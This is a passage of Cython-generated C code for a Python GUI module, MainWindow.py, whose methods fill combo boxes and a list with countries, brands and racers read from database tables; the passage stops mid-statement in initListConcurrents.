*__pyx_t_8 = NULL; __Pyx_RefNannySetupContext("initGuiPays", 0); /* "MainWindow.py":198 * * def initGuiPays(self): * self.pays = T_Pays() # <<<<<<<<<<<<<< * self.R_Pays.clear() * i = 0 */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_T_Pays); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_pays, __pyx_t_1) < 0) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":199 * def initGuiPays(self): * self.pays = T_Pays() * self.R_Pays.clear() # <<<<<<<<<<<<<< * i = 0 * while self.pays.getRecord("display = TRUE", i): */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_clear); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":200 * self.pays = T_Pays() * self.R_Pays.clear() * i = 0 # <<<<<<<<<<<<<< * while self.pays.getRecord("display = TRUE", i): * c = dict( self.pays._data ) */ __Pyx_INCREF(__pyx_int_0); __pyx_v_i = __pyx_int_0; /* "MainWindow.py":201 * self.R_Pays.clear() * i = 0 * while self.pays.getRecord("display = TRUE", i): # <<<<<<<<<<<<<< * c = dict( self.pays._data ) * self.R_Pays.addItem(c['nom'], c['id']) */ while (1) { __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_pays); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_getRecord); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_4 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_4 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_kp_u_display_TRUE, __pyx_v_i}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_kp_u_display_TRUE, __pyx_v_i}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_kp_u_display_TRUE); __Pyx_GIVEREF(__pyx_kp_u_display_TRUE); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_4, __pyx_kp_u_display_TRUE); __Pyx_INCREF(__pyx_v_i); __Pyx_GIVEREF(__pyx_v_i); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_4, __pyx_v_i); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (!__pyx_t_6) break; /* "MainWindow.py":202 * i = 0 * while self.pays.getRecord("display = TRUE", i): * c = dict( self.pays._data ) # <<<<<<<<<<<<<< * self.R_Pays.addItem(c['nom'], c['id']) * i += 1 */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_pays); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_data_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(((PyObject *)(&PyDict_Type)), __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF_SET(__pyx_v_c, ((PyObject*)__pyx_t_2)); __pyx_t_2 = 0; /* "MainWindow.py":203 * while self.pays.getRecord("display = TRUE", i): * c = dict( self.pays._data ) * self.R_Pays.addItem(c['nom'], c['id']) # <<<<<<<<<<<<<< * i += 1 * */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addItem); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_nom); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = NULL; __pyx_t_4 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_4 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_1, __pyx_t_3}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_1, __pyx_t_3}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_8 = PyTuple_New(2+__pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_8, 0+__pyx_t_4, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_8, 1+__pyx_t_4, __pyx_t_3); __pyx_t_1 = 0; __pyx_t_3 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_8, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":204 * c = dict( self.pays._data ) * self.R_Pays.addItem(c['nom'], c['id']) * i += 1 # <<<<<<<<<<<<<< * * def initGuiMarques(self): */ __pyx_t_2 = __Pyx_PyInt_AddObjC(__pyx_v_i, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF_SET(__pyx_v_i, __pyx_t_2); __pyx_t_2 = 0; } /* "MainWindow.py":197 * self.findNpa() * * def initGuiPays(self): # <<<<<<<<<<<<<< * self.pays = T_Pays() * self.R_Pays.clear() */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("MainWindow.MainWindow.initGuiPays", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_c); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":206 * i += 1 * * def initGuiMarques(self): # <<<<<<<<<<<<<< * self.marques = T_Marques() * self.R_brandMenu.clear() */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_27initGuiMarques(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_27initGuiMarques = {"initGuiMarques", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_27initGuiMarques, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_27initGuiMarques(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("initGuiMarques (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_26initGuiMarques(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_26initGuiMarques(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_c = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; int __pyx_t_7; PyObject *__pyx_t_8 = NULL; __Pyx_RefNannySetupContext("initGuiMarques", 0); /* "MainWindow.py":207 * * def initGuiMarques(self): * self.marques = T_Marques() # <<<<<<<<<<<<<< * self.R_brandMenu.clear() * while self.marques.getNextRecord(): */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_T_Marques); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_marques, __pyx_t_1) < 0) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":208 * def initGuiMarques(self): * self.marques = T_Marques() * self.R_brandMenu.clear() # <<<<<<<<<<<<<< * while self.marques.getNextRecord(): * c = dict( self.marques._data ) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_clear); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":209 * self.marques = T_Marques() * self.R_brandMenu.clear() * while self.marques.getNextRecord(): # <<<<<<<<<<<<<< * c = dict( self.marques._data ) * self.R_brandMenu.addItem(c['nom'], c['id']) */ while (1) { __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_marques); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_getNextRecord); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (!__pyx_t_4) break; /* "MainWindow.py":210 * self.R_brandMenu.clear() * while self.marques.getNextRecord(): * c = dict( self.marques._data ) # <<<<<<<<<<<<<< * self.R_brandMenu.addItem(c['nom'], c['id']) * */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_marques); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_data_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(((PyObject *)(&PyDict_Type)), __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF_SET(__pyx_v_c, ((PyObject*)__pyx_t_2)); __pyx_t_2 = 0; /* "MainWindow.py":211 * while self.marques.getNextRecord(): * c = dict( self.marques._data ) * self.R_brandMenu.addItem(c['nom'], c['id']) # <<<<<<<<<<<<<< * * def initListConcurrents(self): */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_nom); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; __pyx_t_7 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_7 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_1, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_7, 2+__pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_1, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_7, 2+__pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_8 = PyTuple_New(2+__pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_8, 0+__pyx_t_7, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_8, 1+__pyx_t_7, __pyx_t_5); __pyx_t_1 = 0; __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_8, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } /* "MainWindow.py":206 * i += 1 * * def initGuiMarques(self): # <<<<<<<<<<<<<< * self.marques = T_Marques() * self.R_brandMenu.clear() */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("MainWindow.MainWindow.initGuiMarques", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_c); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":213 * self.R_brandMenu.addItem(c['nom'], c['id']) * * def initListConcurrents(self): # <<<<<<<<<<<<<< * self.L_racerlist.setSortingEnabled(True) * self.concurrents = T_Concurrents() */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_29initListConcurrents(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_29initListConcurrents = {"initListConcurrents", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_29initListConcurrents, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_29initListConcurrents(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("initListConcurrents (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_28initListConcurrents(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_28initListConcurrents(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_c = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("initListConcurrents", 0); /* "MainWindow.py":214 * * def initListConcurrents(self): * self.L_racerlist.setSortingEnabled(True) # <<<<<<<<<<<<<< * self.concurrents = T_Concurrents() * while self.concurrents.getNextRecord(): */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSortingEnabled); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":215 * def initListConcurrents(self): * self.L_racerlist.setSortingEnabled(True) * self.concurrents = T_Concurrents() # <<<<<<<<<<<<<< * while self.concurrents.getNextRecord(): * c = dict( self.concurrents._data ) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_T_Concurrents); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if 